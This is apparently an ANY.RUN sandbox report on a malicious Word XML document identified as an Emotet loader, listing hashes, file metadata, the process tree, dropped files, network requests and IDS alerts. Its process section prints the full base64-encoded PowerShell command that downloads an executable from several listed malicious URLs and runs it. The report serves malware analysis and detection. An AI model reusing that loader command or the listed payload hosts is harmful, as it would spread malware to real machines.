analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

4ad6f27598bc917bb91bf6108754a04a.doc

Full analysis: https://app.any.run/tasks/fe79f745-c97b-4e7c-b2d9-43851e27f905
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: February 19, 2019, 13:02:43
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
emotet
loader
Indicators:
MIME: text/xml
File info: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
MD5:

4AD6F27598BC917BB91BF6108754A04A

SHA1:

04486BA2AB3B6D641EFD6F033AFD56BD1F26284A

SHA256:

395B3954D68251A9737822485A0FAD024B0F0D367D1AC4F929D2686D7E384478

SSDEEP:

6144:bp2ppO0A4z+ihMzSVIhl9EKRDqME4yanMjdn/NQVg+D3Do8oRtxQwvVAJTVa:bkzpcih8SVIf51E4K14o8Iue

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2692)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2692)
    • Application was dropped or rewritten from another process

      • 293.exe (PID: 3736)
      • 293.exe (PID: 2536)
      • wabmetagen.exe (PID: 2484)
      • wabmetagen.exe (PID: 3944)
    • Request from PowerShell which ran from Office

      • POwershell.exe (PID: 3932)
    • Emotet process was detected

      • wabmetagen.exe (PID: 3944)
    • Downloads executable files from the Internet

      • POwershell.exe (PID: 3932)
  • SUSPICIOUS

    • Starts Microsoft Office Application

      • MSOXMLED.EXE (PID: 2964)
    • Creates files in the user directory

      • POwershell.exe (PID: 3932)
    • Executable content was dropped or overwritten

      • 293.exe (PID: 2536)
      • POwershell.exe (PID: 3932)
    • Starts itself from another location

      • 293.exe (PID: 2536)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2692)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2692)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xml | Microsoft Office XML Flat File Format Word Document (ASCII) (65.1)
.xml | Microsoft Office XML Flat File Format (ASCII) (31)
.xml | Generic XML (ASCII) (2.3)
.html | HyperText Markup Language (1.4)

EXIF

XMP

WordDocumentMacrosPresent: yes
WordDocumentEmbeddedObjPresent: no
WordDocumentOcxPresent: no
WordDocumentIgnoreSubtreeVal: http://schemas.microsoft.com/office/word/2003/wordml/sp2
WordDocumentDocumentPropertiesRevision: 1
WordDocumentDocumentPropertiesTotalTime: -
WordDocumentDocumentPropertiesCreated: 2019:02:11 07:32:00Z
WordDocumentDocumentPropertiesLastSaved: 2019:02:11 07:32:00Z
WordDocumentDocumentPropertiesPages: 1
WordDocumentDocumentPropertiesWords: -
WordDocumentDocumentPropertiesCharacters: 1
WordDocumentDocumentPropertiesLines: 1
WordDocumentDocumentPropertiesParagraphs: 1
WordDocumentDocumentPropertiesCharactersWithSpaces: 1
WordDocumentDocumentPropertiesVersion: 16
WordDocumentFontsDefaultFontsAscii: Calibri
WordDocumentFontsDefaultFontsFareast: Calibri
WordDocumentFontsDefaultFontsH-ansi: Calibri
WordDocumentFontsDefaultFontsCs: Times New Roman
WordDocumentFontsFontName: Times New Roman
WordDocumentFontsFontPanose-1Val: 02020603050405020304
WordDocumentFontsFontCharsetVal: 00
WordDocumentFontsFontFamilyVal: Roman
WordDocumentFontsFontPitchVal: variable
WordDocumentFontsFontSigUsb-0: E0002AFF
WordDocumentFontsFontSigUsb-1: C0007841
WordDocumentFontsFontSigUsb-2: 00000009
WordDocumentFontsFontSigUsb-3: 00000000
WordDocumentFontsFontSigCsb-0: 000001FF
WordDocumentFontsFontSigCsb-1: 00000000
WordDocumentStylesVersionOfBuiltInStylenamesVal: 7
WordDocumentStylesLatentStylesDefLockedState: off
WordDocumentStylesLatentStylesLatentStyleCount: 375
WordDocumentStylesLatentStylesLsdExceptionName: Normal
WordDocumentStylesStyleType: paragraph
WordDocumentStylesStyleDefault: on
WordDocumentStylesStyleStyleId: Normal
WordDocumentStylesStyleNameVal: Normal
WordDocumentStylesStylePPrSpacingAfter: 160
WordDocumentStylesStylePPrSpacingLine: 259
WordDocumentStylesStylePPrSpacingLine-rule: auto
WordDocumentStylesStyleRPrFontVal: Calibri
WordDocumentStylesStyleRPrSzVal: 22
WordDocumentStylesStyleRPrSz-csVal: 22
WordDocumentStylesStyleRPrLangVal: EN-US
WordDocumentStylesStyleRPrLangFareast: EN-US
WordDocumentStylesStyleRPrLangBidi: AR-SA
WordDocumentStylesStyleUiNameVal: Table Normal
WordDocumentStylesStyleTblPrTblIndW: -
WordDocumentStylesStyleTblPrTblIndType: dxa
WordDocumentStylesStyleTblPrTblCellMarTopW: -
WordDocumentStylesStyleTblPrTblCellMarTopType: dxa
WordDocumentStylesStyleTblPrTblCellMarLeftW: 108
WordDocumentStylesStyleTblPrTblCellMarLeftType: dxa
WordDocumentStylesStyleTblPrTblCellMarBottomW: -
WordDocumentStylesStyleTblPrTblCellMarBottomType: dxa
WordDocumentStylesStyleTblPrTblCellMarRightW: 108
WordDocumentStylesStyleTblPrTblCellMarRightType: dxa
WordDocumentStylesStyleBasedOnVal: Normal
WordDocumentStylesStyleLinkVal: BalloonTextChar
WordDocumentStylesStyleRsidVal: 005A24B1
WordDocumentStylesStyleRPrRFontsAscii: Tahoma
WordDocumentStylesStyleRPrRFontsH-ansi: Tahoma
WordDocumentStylesStyleRPrRFontsCs: Tahoma
WordDocumentDocSuppDataBinDataName: YWoY9D1
WordDocumentDocSuppDataBinData: (Binary data 75928 bytes, use -b option to extract)
WordDocumentShapeDefaultsShapedefaultsExt: edit
WordDocumentShapeDefaultsShapedefaultsSpidmax: 1026
WordDocumentShapeDefaultsShapelayoutExt: edit
WordDocumentShapeDefaultsShapelayoutIdmapExt: edit
WordDocumentShapeDefaultsShapelayoutIdmapData: 1
WordDocumentDocPrViewVal: print
WordDocumentDocPrZoomPercent: 100
WordDocumentDocPrRemovePersonalInformation: -
WordDocumentDocPrDoNotEmbedSystemFonts: -
WordDocumentDocPrDefaultTabStopVal: 720
WordDocumentDocPrPunctuationKerning: -
WordDocumentDocPrCharacterSpacingControlVal: DontCompress
WordDocumentDocPrOptimizeForBrowser: -
WordDocumentDocPrPixelsPerInchVal: 120
WordDocumentDocPrValidateAgainstSchema: -
WordDocumentDocPrSaveInvalidXMLVal: off
WordDocumentDocPrIgnoreMixedContentVal: off
WordDocumentDocPrAlwaysShowPlaceholderTextVal: off
WordDocumentDocPrCompatBreakWrappedTables: -
WordDocumentDocPrCompatSnapToGridInCell: -
WordDocumentDocPrCompatWrapTextWithPunct: -
WordDocumentDocPrCompatUseAsianBreakRules: -
WordDocumentDocPrCompatDontGrowAutofit: -
WordDocumentDocPrRsidsRsidRootVal: 005E6EE1
WordDocumentDocPrRsidsRsidVal: 000370E0
WordDocumentBodySectPRsidR: 005E6EE1
WordDocumentBodySectPRsidRDefault: 000370E0
WordDocumentBodySectPRRsidRPr: 00856E4F
WordDocumentBodySectPRRPrNoProof: -
WordDocumentBodySectPRPictShapetypeId: _x0000_t75
WordDocumentBodySectPRPictShapetypeCoordsize: 21600,21600
WordDocumentBodySectPRPictShapetypeSpt: 75
WordDocumentBodySectPRPictShapetypePreferrelative: t
WordDocumentBodySectPRPictShapetypePath: m@4@5l@4@11@9@11@9@5xe
WordDocumentBodySectPRPictShapetypeFilled: f
WordDocumentBodySectPRPictShapetypeStroked: f
WordDocumentBodySectPRPictShapetypeStrokeJoinstyle: miter
WordDocumentBodySectPRPictShapetypeFormulasFEqn: if lineDrawn pixelLineWidth 0
WordDocumentBodySectPRPictShapetypePathExtrusionok: f
WordDocumentBodySectPRPictShapetypePathGradientshapeok: t
WordDocumentBodySectPRPictShapetypePathConnecttype: rect
WordDocumentBodySectPRPictShapetypeLockExt: edit
WordDocumentBodySectPRPictShapetypeLockAspectratio: t
WordDocumentBodySectPRPictBinDataName: wordml://QAU28z.oXhqLV.SKISBk9u
WordDocumentBodySectPRPictBinData: (Binary data 366950 bytes, use -b option to extract)
WordDocumentBodySectPRPictShapeId: Picture 1
WordDocumentBodySectPRPictShapeSpid: _x0000_i1025
WordDocumentBodySectPRPictShapeType: #_x0000_t75
WordDocumentBodySectPRPictShapeStyle: width:468pt;height:349.5pt;visibility:visible;mso-wrap-style:square
WordDocumentBodySectPRPictShapeImagedataSrc: wordml://QAU28z.oXhqLV.SKISBk9u
WordDocumentBodySectPRPictShapeImagedataTitle: -
WordDocumentBodySectSectPrRsidR: 005E6EE1
WordDocumentBodySectSectPrPgSzW: 12240
WordDocumentBodySectSectPrPgSzH: 15840
WordDocumentBodySectSectPrPgMarTop: 1440
WordDocumentBodySectSectPrPgMarRight: 1440
WordDocumentBodySectSectPrPgMarBottom: 1440
WordDocumentBodySectSectPrPgMarLeft: 1440
WordDocumentBodySectSectPrPgMarHeader: 720
WordDocumentBodySectSectPrPgMarFooter: 720
WordDocumentBodySectSectPrPgMarGutter: -
WordDocumentBodySectSectPrColsSpace: 720
WordDocumentBodySectSectPrDocGridLine-pitch: 360
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
7
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start msoxmled.exe no specs winword.exe no specs powershell.exe 293.exe no specs 293.exe #EMOTET wabmetagen.exe no specs wabmetagen.exe

Process information

PID
CMD
Path
Indicators
Parent process
2964"C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE" /verb open "C:\Users\admin\AppData\Local\Temp\4ad6f27598bc917bb91bf6108754a04a.doc.xml"C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
XML Editor
Exit code:
0
Version:
14.0.4750.1000
2692"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\4ad6f27598bc917bb91bf6108754a04a.doc.xml"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEMSOXMLED.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3932POwershell -e JAB0AGkATgA3AFEAagAwAD0AKAAnAHEAWQAzACcAKwAnAEcAJwArACcAaQBHAGoAUgAnACkAOwAkAEkAVABJADcAQwBBAFgAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAVgBYADQAUABOAGEAPQAoACcAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBwAHMAaQBfAHQAZQBzAHQALgBmACcAKwAnAGEAcgAnACsAJwBzAGUAYQAnACsAJwBzACcAKwAnAHQAeQAuAGMAbwBtAC8AOQAnACsAJwBTAFMANwBqACcAKwAnADUAJwArACcAMQAnACsAJwBxACcAKwAnAEAAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8AJwArACcALwAnACsAJwBqAHUAcwAnACsAJwB0AGMAbAAnACsAJwBpAGMAawBtACcAKwAnAGUAZABpAGEALgBjAG8AbQAvAFEAbwBYAEYAYQBoADUAQABoAHQAdAAnACsAJwBwADoALwAvAGcAbABvAHIAJwArACcAaQBhAGwAbwByAGkAbgBnAC4AJwArACcAYwBvAG0AJwArACcALwAwACcAKwAnAFkANwAnACsAJwB3ACcAKwAnADcAdAB4AEQARQBWAEAAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwBhAHAAbwB0ACcAKwAnAGgAZQBlACcAKwAnAGsALQB2AG8AbABsAGUAbgAnACsAJwBoACcAKwAnAG8AJwArACcAdgBlAC4AbgBsAC8AJwArACcAQQAnACsAJwBzADkAJwArACcAeQA0AEoAUgBAACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AcwB5AG0AYgBpAHMAeQBzAHQAZQBtAHMALgAnACsAJwBjACcAKwAnAG8AbQAnACsAJwAvAEMASgB0AGYAawAwADEAeABGACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAGIAMwA2AGIAagA4AGsASwA9ACgAJwBNAHYAaQAnACsAJwBuAGQAZgBYACcAKQA7ACQAdwBWAFUAWgBzADIATgAgAD0AIAAoACcAMgA5ACcAKwAnADMAJwApADsAJAByADMASQBCADkAUgBrADIAPQAoACcAdQAnACsAJwBhADcAYgBRAHAAJwApADsAJABaAEYASQBaADIAaQA5AHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHcAVgBVAFoAcwAyAE4AKwAoACcALgBlAHgAJwArACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABKADcANwBuAHYAYgBCACAAaQBuACAAJABWAFgANABQAE4AYQApAHsAdAByAHkAewAkAEkAVABJADcAQwBBAFgALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQASgA3ADcAbgB2AGIAQgAsACAAJABaAEYASQBaADIAaQA5AHoAKQA7ACQAagA5AHAAWQBJAHcAPQAoACcAcgBPAG4ARAB0ACcAKwAnAE8AJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAWgBGAEkAWgAyAGkAOQB6ACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAWgBGAEkAWgAyAGkAOQB6ADsAJAB6AHAAdAA1AGQAUAA9ACgAJwBVAG4AbgB3ACcAKwAnAHoASAAnACsAJwBXAHoAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGYATABNAGEAdABVAD0AKAAnAFgAVgBPAHQAJwArACcAaQAnACsAJwBwAFMANAAnACkAOwA=C:\Windows\System32\WindowsPowerShell\v1.0\POwershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3736"C:\Users\admin\293.exe" C:\Users\admin\293.exePOwershell.exe
User:
admin
Company:
America Online
Integrity Level:
MEDIUM
Description:
JG ART DLL
Exit code:
0
Version:
024
2536"C:\Users\admin\293.exe"C:\Users\admin\293.exe
293.exe
User:
admin
Company:
America Online
Integrity Level:
MEDIUM
Description:
JG ART DLL
Exit code:
0
Version:
024
3944"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
293.exe
User:
admin
Company:
America Online
Integrity Level:
MEDIUM
Description:
JG ART DLL
Exit code:
0
Version:
024
2484"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
wabmetagen.exe
User:
admin
Company:
America Online
Integrity Level:
MEDIUM
Description:
JG ART DLL
Version:
024
Total events
2 044
Read events
1 630
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
2692WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9CC3.tmp.cvr
MD5:
SHA256:
2692WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DD3D5475.SKISBk9u
MD5:
SHA256:
3932POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\62EWTZMQ7S17F1ZYOTL3.temp
MD5:
SHA256:
3932POwershell.exeC:\Users\admin\293.exeexecutable
MD5:8E55593FF47DA93ED7CA5ECFC2DFF4DD
SHA256:EC1E475C5046C3E5A4B1B3959DFF2B9F056A37BA50A0FA666E3A89D7AFE41597
2692WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:41379A924454D4DBF21EC8153C20C10F
SHA256:0C15CF2B44D7D8698623838B4214E135CD0F5B33F8FE0D860DBE04AB98A65B80
3932POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19a84c.TMPbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
3932POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2692WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$d6f27598bc917bb91bf6108754a04a.doc.xmlpgc
MD5:CB64346F289E59CD2E33D6BA2968B9E7
SHA256:64FACB2465DD19716374F5C26CAED2D57A59B7CF8BF24D4D4FB69372F85636BD
2536293.exeC:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exeexecutable
MD5:8E55593FF47DA93ED7CA5ECFC2DFF4DD
SHA256:EC1E475C5046C3E5A4B1B3959DFF2B9F056A37BA50A0FA666E3A89D7AFE41597
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
6
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3932
POwershell.exe
GET
404
74.124.200.188:80
http://justclickmedia.com/QoXFah5
US
html
324 b
malicious
3932
POwershell.exe
GET
301
162.42.205.205:80
http://symbisystems.com/CJtfk01xF
US
html
360 b
malicious
2484
wabmetagen.exe
GET
184.101.191.86:443
http://184.101.191.86:443/
US
malicious
3932
POwershell.exe
GET
404
185.182.56.168:80
http://apotheek-vollenhove.nl/As9y4JR
NL
html
324 b
malicious
3932
POwershell.exe
GET
200
103.96.72.146:80
http://psi_test.farseasty.com/9SS7j51q/
HK
html
178 b
suspicious
3932
POwershell.exe
GET
200
162.42.205.205:80
http://symbisystems.com/CJtfk01xF/
US
executable
148 Kb
malicious
3932
POwershell.exe
GET
404
104.152.110.73:80
http://glorialoring.com/0Y7w7txDEV
US
html
236 b
suspicious
3932
POwershell.exe
GET
301
103.96.72.146:80
http://psi_test.farseasty.com/9SS7j51q
HK
html
178 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3932
POwershell.exe
74.124.200.188:80
justclickmedia.com
InMotion Hosting, Inc.
US
malicious
3932
POwershell.exe
103.96.72.146:80
psi_test.farseasty.com
Cloudie Limited
HK
malicious
3932
POwershell.exe
104.152.110.73:80
glorialoring.com
InMotion Hosting, Inc.
US
suspicious
2484
wabmetagen.exe
184.101.191.86:443
Qwest Communications Company, LLC
US
malicious
3932
POwershell.exe
185.182.56.168:80
apotheek-vollenhove.nl
Astralus B.V.
NL
malicious
3932
POwershell.exe
162.42.205.205:80
symbisystems.com
Cyber Trails / Arizona Public Service
US
malicious

DNS requests

Domain
IP
Reputation
psi_test.farseasty.com
  • 103.96.72.146
suspicious
justclickmedia.com
  • 74.124.200.188
malicious
glorialoring.com
  • 104.152.110.73
suspicious
apotheek-vollenhove.nl
  • 185.182.56.168
malicious
symbisystems.com
  • 162.42.205.205
unknown

Threats

PID
Process
Class
Message
3932
POwershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3932
POwershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3932
POwershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info